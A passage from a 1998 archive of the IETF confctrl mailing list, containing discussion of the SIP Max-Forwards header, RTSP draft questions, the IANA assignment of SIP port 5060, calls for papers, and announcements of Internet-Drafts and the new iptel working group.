difficult to find the session directories or sessions of interest.  It
was also noted that the functionality of multiple directories could in
principle be easily provided by dedicated announcement newsgroups,
too, and hence care should be taken not to duplicate effort to solve a
well understood problem in an incompatible fashion.

It was concluded that much further investigation is needed.  Best
current practice should be documented to explain how multiple
directories are to be used, to delineate this concept from other
solutions for announcement channels (such as NetNews), to clarify
which features should be included in such a directory system, and to
enable deriving a feasible policy for its use.

Future Work in MMUSIC
---------------------

Joerg Ott briefly reviewed the status of the MMUSIC WG: RTSP and SDP
will be done soon, SIP is expected to go into last call by the end of
February or the beginning of March.  It was pointed out that SIP
requires authentication mechanisms; the editors agreed to investigate
the work on Secure SAP for re-use within SIP and incorporate the
necessary functions into the revised SIP specification.  Further work
on SIP profiles may be required to satisfy various usage scenarios for
this protocol and to provide support for other working groups that do
want to make use of SIP for other purposes.

The group decided to move SAP and Secure SAP should go experimental
RFC by the end of January to freeze the current specification and
their revisions should become standards track documents later in 1998.
The Internet Multimedia Conferencing Architecture draft should be
re-issued in the second week of January and go to last call shortly
thereafter.






From confctrl-owner  Mon Mar  2 01:54:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA26914
	for confctrl-outgoing; Mon, 2 Mar 1998 01:54:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA26909
	for <confctrl@zephyr.isi.edu>; Mon, 2 Mar 1998 01:54:29 -0800 (PST)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA07039
	for <confctrl@ISI.EDU>; Mon, 2 Mar 1998 01:54:25 -0800 (PST)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id LAA05440; Mon, 2 Mar 1998 11:48:06 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565BB.00362E7C ; Mon, 2 Mar 1998 11:51:48 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: oran@cisco.com
cc: hgs@cs.columbia.edu, confctrl@ISI.EDU
Message-ID: <422565BB.003491A9.00@il4.vocaltec.co.il>
Date: Mon, 2 Mar 1998 11:36:45 +0200
Subject: Re: SIP: Max-Forwards
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I wasn't going to pick at the name, but since Dave did, it seemed to me
that what the field was setting something like the maximum number of
entries allowed to appear in the "Via:" field.
So I would have called it Max_Vias:

(Hmm love those text protocols ;-)).

Scott





oran@cisco.com on 02/28/98 06:33:37 AM

To:   hgs@cs.columbia.edu, confctrl@ISI.EDU
cc:    (bcc: Scott Petrack)
Subject:  Re: SIP: Max-Forwards




I like the idea, but I think the name is misleading, since it has nothing
to do with call forwarding (in fact I could envision a separate feature
which limited the depth of a user-specified call forwarding path).
Perhaps something like "Request-Remaining-Hops", or "Max-Request-Forwards"
would be more illustrative.
Dave.
At 11:34 AM 2/27/98 -0500, Henning Schulzrinne wrote:
>The revision of HTTP/1.1 has a field Max-Forwards, basically like a TTL
>field (decremented at each hop, server with Max-Forwards: 0 must act on
>the request rather than proxy it.) If we want such a feature, it would
>have to be in the final protocol (*), as it would have to be implemented
>by everyone to be useful. Use in SIP context would be to avoid proxying
>altogether (I currently have a "do-not-forward" Call-Disposition header
>in the Call Control spec for this.) This can also be useful to avoid the
>merging of proxy search branches: A proxy that sends out a parallel SIP
>search would set the Max-Forwards to 0, avoiding that several requests
>reach the same destination after being merged at a downstream proxy.
>
>It's also an additional safety mechanism that prevents looping, beyond
>Via.
>
>I don't feel strongly about this either way.
>
>Comments are appreciated.
>
>(*) Not quite: it could be part of an extension signaled via Require:.
>--
>Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
>Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
>Columbia University         fax:   +1 212 666-0140
>New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs
>
>






From confctrl-owner  Mon Mar  2 14:57:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA27517
	for confctrl-outgoing; Mon, 2 Mar 1998 14:57:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27505
	for <confctrl@zephyr.isi.edu>; Mon, 2 Mar 1998 14:57:44 -0800 (PST)
Received: from comsun.comm (comsun.comm.toronto.edu [128.100.1.196])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA15852
	for <confctrl@isi.edu>; Mon, 2 Mar 1998 14:57:41 -0800 (PST)
Received: by comsun.comm.toronto.edu id <34154>; Mon, 2 Mar 1998 17:57:02 -0500
From: Anindo Banerjea <banerjea@comm.toronto.edu>
To: IETF-Announce@es.net, dns-security@tis.com, ipsec@ans.net,
        announcements.chi@xerox.com, confctrl@ISI.EDU, tccc@ieee.org,
        giga@tele.pitt.edu, comswtc@gmu.edu, multicomm@cc.bellcore.com,
        commsoft@cc.bellcore.com
Subject: Call for papers
X-Sun-Charset: US-ASCII
Message-Id: <98Mar2.175702est.34154@comsun.comm.toronto.edu>
Date: 	Mon, 2 Mar 1998 17:56:57 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please pardon us for any duplicate copies that you may receive from
being on multiple mailing lists. I am trying not to send on any list more
than once, to minimize duplicates, but you know how it is with mailing
lists.

Anindo Banerjea
-------------------------------------------------------------------------
			   CALL    FOR    PAPERS

                            IEEE Network Magazine
      Special Issue on Transmission and Distribution of Digital Video
	   http://www.comsoc.org/socstr/techcom/ntwrk/special.html

Guest Editors:

Bhumip Khasnabish                    Anindo Banerjea
GTE Labs. Inc., MS-48      University of Toronto, Dept. of ECE
40 Sylvan Road                   10 King's College Road
Waltham MA 02254, USA       Toronto, Ontario M5S 3G4, Canada
Tel: +1-617-466-2080              Tel: +1-416-946-3063
Fax: +1-617-890-9320              Fax: +1-416-971-3020
E-Mail: bhumip@gte.com      E-Mail: banerjea@comm.utoronto.ca
www1.acm.org:82/~bhumip/    www.comm.utoronto.ca/~banerjea/

Scope: A picture is worth a thousand words. Human beings can communicate
more effectively using images and sound as compared to textual data. Digital
transmission and distribution of audio-visual information enables multimedia
communication over the same network that supports data communication. This
makes it possible for the consumer to interact with the audio-visual
programming, in ways that were not possible with one way analog broadcast
systems. Digital representation of audio/video opens up the possibility of
computerized processing of the multimedia information, allowing consumers to
archive, index and retrieve the programs in a content-based manner, or to
have agents filter the programs that they wish to see. Digitally encoded
information is also much more resilient to degradation during transmission
and storage, giving the consumer a better picture and sound quality.

The purpose of this special issue of IEEE Network Magazine is to present six
or seven tutorial level articles covering major results/aspects of
transmission and distribution of digital video. In addition it will also
present reports on new developments and experimental results on all aspects
of transmission and distribution of digital video. The special issue will
look at the entire spectrum of bit-rate and quality requirements, looking at
issues from technologies to services.

  1. Technologies for digital video transmission and distribution: CBR, VBR,
     and ABR ATM services. ATM or IP over xDSL lines. Video over broadband
     wireless links. Issues of integrating multiple technologies.
  2. Techniques for coding, manipulation and delivery of high quality video:
     CBR coding, VBR coding, layered coding, MPEG-4, etc. Video delivery in
     heterogeneous multicasting environments. Effect of network impairments
     on video.
  3. Endsystem/server issues in relationship to networks: Set-top
     technologies. Network computers. Realtime operating systems. Video on
     demand (VOD) server architectures and operating systems. Storage
     systems. Synchronization issues. Articles must address network
     implications.
  4. Services and applications: Adaptive applications. Video conferencing.
     Entertainment and games. Virtual reality. Relationship between network
     characteristics and service quality. Human Machine Interface (HMI).
     Middleware for multimedia QoS control. Service enhancement. Content
     based agents/search engines. Articles must address network
     implications.
  5. Management and control of digital video distribution networks: Resource
     reservation. QoS signalling and routing. Multicast routing. Management
     architectures for multimedia networks.
  6. Field trials and experimental results: Video over the "Last Mile".
     Video over xDSL. Video over ATM. Low and variable bitrate video over
     Internet. Other access technologies. MPEG-2 over networks.
  7. Tools: Cost analysis. Simulations of digital video networks. Analytical
     models for digital video networks.

Authors are invited to submit four hardcopies or electronic files of
their papers to bhumip@gte.com or banerjea@comm.utoronto.ca. Papers
should not exceed twenty double spaced pages in length, excluding
figures and diagrams.

Schedule:

* Submission deadline: April 15, 1998
* Acceptance notification: August 1, 1998
* Final manuscripts due: September 1, 1998
* Publication date: November, 1998

 Copyright (c) 1997 Institute of Electrical and Electronics Engineers, Inc.
                            All rights reserved.

From confctrl-owner  Tue Mar  3 11:36:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA28714
	for confctrl-outgoing; Tue, 3 Mar 1998 11:36:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28709
	for <confctrl@zephyr.isi.edu>; Tue, 3 Mar 1998 11:36:06 -0800 (PST)
Received: from duke.poly.edu (duke.poly.edu [128.238.2.92])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA11425
	for <confctrl@isi.edu>; Tue, 3 Mar 1998 11:36:05 -0800 (PST)
Received: from localhost by duke.poly.edu (8.6.8.1/1.34-032891-Polytechnic University)
	id OAA08731; Tue, 3 Mar 1998 14:33:22 -0500
Date: Tue, 3 Mar 1998 14:33:22 -0500 (EST)
From: Jorg Liebeherr <jorg@duke.poly.edu>
To: tccc@ieee.org
Subject: CFP - Special Issue - Multimedia Collaborative Environments - March 15, 1998
Message-ID: <Pine.SUN.3.96.980303142952.21554F-100000@duke.poly.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




-----------------------------------------------------------
>>>>>	Submission deadline:		March 15, 1998 <<<
-----------------------------------------------------------

       ***********   CALL FOR PAPERS   ******************  

CLUSTER COMPUTING: Networks, Software Tools, and Applications
	                          (Publisher: Baltzer Science) 

	Special Issue on 

MULTIMEDIA COLLABORATIVE ENVIRONMENTS

The emerging high-performance network infrastructure will be able to 
deliver data, video, and audio, and will support new multimedia 
applications, such as interactive telecollaboration tools, immersive 
visualization, and virtual environments. The objective of this special 
issue is to present the state-of-the-art of the research on multimedia 
computing, collaborative environment, and related areas.

Topics of Interest:
 	- Virtual Environments 		- Tele-Presence Applications	
	- Collaboration Tools		- Distance Learning Systems
	- Media Servers			- Multimedia Networks
	- Multimedia Delivery 		- Multimedia Models	
	- Security			- Wireless Multimedia 	

Important Dates:
	Submission deadline:		March 15, 1998
  	Notification of acceptance:	May 15, 1998
	Publication Date:		4th Quarter 1998

Submission Guidelines:
Authors are requested to submit by March 15, 1998, five copies of 
a manuscript (max. 25 pages) to:
		Prof. Jorg Liebeherr
		Polytechnic University
        	Department of Electrical Engineering
        	6 MetroTech Center
        	Brooklyn, NY 11201
		Phone:  +1-718-260-3493
		Fax:    +1-718-260-3074
		E-mail:  jorg@catt.poly.edu


******** A PDF version of this CFP can be obtained from  ************
******** http://aida.poly.edu/~jorg/Cluster-CFP.html     ************





From confctrl-owner  Sat Mar  7 07:57:02 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA14809
	for confctrl-outgoing; Sat, 7 Mar 1998 07:57:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14804
	for <confctrl@zephyr.isi.edu>; Sat, 7 Mar 1998 07:57:01 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24222
	for <confctrl@isi.edu>; Sat, 7 Mar 1998 07:57:00 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA11080; Sat, 7 Mar 1998 10:56:54 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA00711; Sat, 7 Mar 1998 10:56:48 -0500 (EST)
Message-ID: <35016E3D.4903F004@cs.columbia.edu>
Date: Sat, 07 Mar 1998 10:56:45 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU, pint@lists.research.bell-labs.com,
        siptel@lists.research.bell-labs.com
Subject: SIP server/user agents implementation draft
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've put together some notes for implementing SIP servers and user
agents. They can be found under "Requirements for SIP Servers and User
Agents" on the SIP page at http://www.cs.columbia.edu/~hgs/sip/

I would appreciate any comments.
--
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 732 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Mar 11 04:56:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA08630
	for confctrl-outgoing; Wed, 11 Mar 1998 04:56:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA08625
	for <confctrl@zephyr.isi.edu>; Wed, 11 Mar 1998 04:56:26 -0800 (PST)
Received: from pi4.informatik.uni-mannheim.de (pi4.informatik.uni-mannheim.de [134.155.48.125])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07106
	for <confctrl@ISI.EDU>; Wed, 11 Mar 1998 04:56:24 -0800 (PST)
Received: from pyrrhon.informatik.uni-mannheim.de (root@pyrrhon [134.155.48.103])
	by pi4.informatik.uni-mannheim.de (8.8.8/8.8.8) with ESMTP id NAA21510
	for <confctrl@ISI.EDU>; Wed, 11 Mar 1998 13:56:13 +0100 (MET)
Received: from pi4.informatik.uni-mannheim.de (hilt@localhost [127.0.0.1])
	by pyrrhon.informatik.uni-mannheim.de (8.8.7/8.8.7) with ESMTP id NAA25464
	for <confctrl@ISI.EDU>; Wed, 11 Mar 1998 13:56:12 +0100 (MET)
Message-ID: <350689E9.835E4D53@pi4.informatik.uni-mannheim.de>
Date: Wed, 11 Mar 1998 13:56:09 +0100
From: Volker Hilt <hilt@pi4.informatik.uni-mannheim.de>
Organization: Universitaet Mannheim
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.6 sun4u)
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: RTSP header fields
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I've just read the latest RTSP draft (version 09) but some issues got
not quite clear to me. There seems to be a discrepancy between different
sections of draft concerning the assignment of header fields to headers.

In section 8.1 it is stated in BNF, that the "Allow" header field
belongs to the entity header. But in table 3 on page 36 the "Allow"
header field is of type "e", which means that it designates response
headers.

The header field "CSeq" (which designates general headers according to
table 3) does not occur in the BNF description of the general header
(section 5). There are other header fields which also have these
discrepancies.

Can anybody give me a clue.

Thanks in advance,

Volker

-----------------------------------------------------------------------
Volker Hilt               Tel:   +49 621 292 5053
Praktische Informatik IV  EMail: hilt@pi4.informatik.uni-mannheim.de
Universitaet Mannheim     http://www.informatik.uni-mannheim.de/~hilt/

From confctrl-owner  Thu Mar 12 15:20:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28731
	for confctrl-outgoing; Thu, 12 Mar 1998 15:20:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28726
	for <confctrl@zephyr.isi.edu>; Thu, 12 Mar 1998 15:20:13 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA16031
	for <confctrl@isi.edu>; Thu, 12 Mar 1998 15:20:11 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA07786 for <confctrl@isi.edu>; Thu, 12 Mar 1998 18:19:57 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA16349 for <confctrl@isi.edu>; Thu, 12 Mar 1998 18:19:56 -0500 (EST)
Message-ID: <35086D9C.2FE74BAA@cs.columbia.edu>
Date: Thu, 12 Mar 1998 18:19:56 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: Application for port-number] for SIP
Content-Type: multipart/mixed; boundary="------------1E396A3DB8ED73CF7F30A4B1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------1E396A3DB8ED73CF7F30A4B1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


--------------1E396A3DB8ED73CF7F30A4B1
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by opus.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA02637 for <hgs@opus.cs.columbia.edu>; Thu, 12 Mar 1998 18:11:58 -0500 (EST)
Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA06808 for <hgs@cs.columbia.edu>; Thu, 12 Mar 1998 18:11:57 -0500 (EST)
Received: from ode.isi.edu (ode.isi.edu [128.9.160.68])
	by zephyr.isi.edu (8.8.7/8.8.6) with SMTP id PAA28405;
	Thu, 12 Mar 1998 15:11:55 -0800 (PST)
Received: by ode.isi.edu (4.1/4.0.3-6)
	id <AA02826>; Thu, 12 Mar 98 15:13:22 PST
From: iana@ISI.EDU
Date: Thu, 12 Mar 98 15:13:22 PST
Posted-Date: Thu, 12 Mar 98 15:13:22 PST
Message-Id: <9803122313.AA02826@ode.isi.edu>
To: hgs@opus.cs.columbia.edu
Subject: Re: Application for port-number
Cc: iana@ISI.EDU
Content-Type: text


Henning,

We have assigned the following port number and mulitcast address with
you as the point of contact:

User Port:	5060		sip

Multicast:	224.0.1.75	SIP

Thanks.

Josh


***************************************************************
Information Sciences Institute
Internet Assigned Numbers Authority
4676 Admiralty Way, Suite 1001
Marina del Rey, CA 90292
USA

Voice: (310) 822-1511 x302
FAX:   (310) 823-6714
email: iana@iana.org
***************************************************************


--------------1E396A3DB8ED73CF7F30A4B1--


From confctrl-owner  Fri Mar 13 05:09:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10270
	for confctrl-outgoing; Fri, 13 Mar 1998 05:09:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10265
	for <confctrl@zephyr.isi.edu>; Fri, 13 Mar 1998 05:09:16 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA14921
	for <confctrl@isi.edu>; Fri, 13 Mar 1998 05:09:15 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id IAA24037;
	Fri, 13 Mar 1998 08:09:09 -0500 (EST)
Message-Id: <199803131309.IAA24037@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-sec-04.txt,.ps
Date: Fri, 13 Mar 1998 08:09:08 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SAP Security Using Public Key Algorithms
	Author(s)	: P. Kirstein, G. Montasser-Kohsari, E. Whelan
	Filename	: draft-ietf-mmusic-sap-sec-04.txt,.ps
	Pages		: 18
	Date		: 12-Mar-98
	
The Session Announcement Protocol (SAP) has been specified in such a way
that authentication and privacy can be assured. However the algorithms
and mechanisms to achieve such security are not prescribed in the
current draft. This document extends the SAP protocol, by describing
specific algorithms and formats of authentication and encryption formats
based on PGP and PKCS#7 standards. It is a companion document to
draft-ietf-mmusic-sap.
 
This document is a product of the Multiparty Multimedia Session Control
(MMUSIC) working group of the Internet Engineering Task Force Comments
are solicited and should be addressed to the working group's mailing
list at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-sec-04.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sap-sec-04.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-sec-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980312150826.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-sec-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-sec-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980312150826.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Mar 13 15:26:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28428
	for confctrl-outgoing; Fri, 13 Mar 1998 15:26:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28423
	for <confctrl@zephyr.isi.edu>; Fri, 13 Mar 1998 15:26:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA18624
	for <confctrl@isi.edu>; Fri, 13 Mar 1998 15:26:04 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Mar 13 18:24:11 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA04533;
	Fri, 13 Mar 1998 18:24:04 -0500 (EST)
Message-ID: <3509BFA2.9CF68784@dnrc.bell-labs.com>
Date: Fri, 13 Mar 1998 18:22:10 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: rem-conf@es.net, confctrl@ISI.EDU, pint@lists.research.bell-labs.com,
        iptel@lists.research.bell-labs.com
Subject: New iptel working group..
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

avt, mmusic, pint, iptel,

I'm happy to announce that the IESG has approved the formation of a new
working group, "iptel" (IP Telephony) in the Transport Area. This group
is a result of the "siptel" BoF session held at the Washington IETF this
past December. As the group's focus has changed away from SIP, it has
been renamed to iptel. The home page and mailing list addresses have
changed as well. If you were a member of the old siptel list, your
subscription is also active on iptel.

I'd like to invite people to join the iptel list if they haven't
already. You can find the charter at:

http://www.ietf.org/html.charters/iptel-charter.html

There is also an external page. This page has links to the mail archive,
slides from the BoF, and the minutes of the meeting in Washington. This
page can be found at:

http://www.bell-labs.com/mailing-lists/iptel/

I'd also encourage people to read the charter and look at the slides.
Two of the three initially proposed charter items have been officially
approved, as you can see from the charter. I'd like to begin discussion
on the call processing language, as this is our first work item. Feel
free to post questions or thoughts on it to the list.

We will be meeting during the LA IETF. We have a single slot, from 19:30
to 22:00 on Wednesday, April 1 (the second slot on the agenda, from
15:30 to 17:30, has been dropped). I currently have very little on the
agenda, so if you have a suggestion or would like to make a
presentation, please let me know.

I look forward to some exciting work in the months ahead.

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
PHONE: (732) 949-6418                       Rm. 4C-526
FAX:   (732) 834-5379
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Mar 16 14:28:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA14856
	for confctrl-outgoing; Mon, 16 Mar 1998 14:28:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14848
	for <confctrl@zephyr.isi.edu>; Mon, 16 Mar 1998 14:28:02 -0800 (PST)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA08350;
	Mon, 16 Mar 1998 14:27:57 -0800 (PST)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA17833; Mon, 16 Mar 98 14:27:42 PST
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id OAA00968;
	Mon, 16 Mar 1998 14:27:42 -0800 (PST)
Date: Mon, 16 Mar 1998 14:27:42 -0800 (PST)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199803162227.OAA00968@liszt.cs.caltech.edu>
To: confctrl@ISI.EDU
Subject: Re: MMUSIC at the LA IETF
Cc: jo@tzi.org, mjh@ISI.EDU, rlang@std.sri.com, schooler@cs.caltech.edu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There will be one session (two one hour session combined)
for MMUSIC at the upcoming LA IETF.

>    Tuesday, March 31 at 1300-1515 
>    (opposite oncrpc, ngtrans, ip1394, sieve, urlreg spki)

We would like to take this opportunity to solicit input 
for agenda items.  Presently, we expect the agenda to focus
on SIP, SIP profiles, and possibly issues with SAP as well.  
All are more or less follow-ons from the last IETF.  
With your input, we hope to create a more formal agenda in 
the next week or so.

Thanks,
Joerg, Ruth, Mark, and Eve


From confctrl-owner  Tue Mar 17 07:16:01 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28850
	for confctrl-outgoing; Tue, 17 Mar 1998 07:16:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28845
	for <confctrl@zephyr.isi.edu>; Tue, 17 Mar 1998 07:16:00 -0800 (PST)
Received: from ns.ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24711
	for <confctrl@isi.edu>; Tue, 17 Mar 1998 07:15:59 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ns.ietf.org (8.8.7/8.8.7a) with ESMTP id KAA02483;
	Tue, 17 Mar 1998 10:15:55 -0500 (EST)
Message-Id: <199803171515.KAA02483@ns.ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ns.ietf.org
Reply-to: Internet-Drafts@ns.ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-cc-00.txt
Date: Tue, 17 Mar 1998 10:15:54 -0500
Sender: owner-confctrl@zephyr.isi.edu
